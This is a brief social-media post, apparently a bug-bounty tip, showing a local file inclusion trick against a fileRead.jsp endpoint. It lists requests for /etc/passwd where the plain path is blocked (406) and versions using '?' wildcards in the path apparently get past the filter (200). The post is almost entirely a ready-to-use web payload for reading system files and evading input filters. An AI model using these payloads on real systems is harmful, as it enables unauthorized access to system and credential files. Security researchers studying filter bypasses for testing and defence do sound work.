LFI Trick:
/fileRead.jsp?fileName=/etc/passwd (406?)

/fileRead.jsp?fileName=/?tc/?asswd (200?)
/fileRead.jsp?fileName=/??c/??sswd (200?)

#infosec #bugbountytips #websec
source: https://t.co/sYToP3mCT1 https://t.co/HD7K9SRikS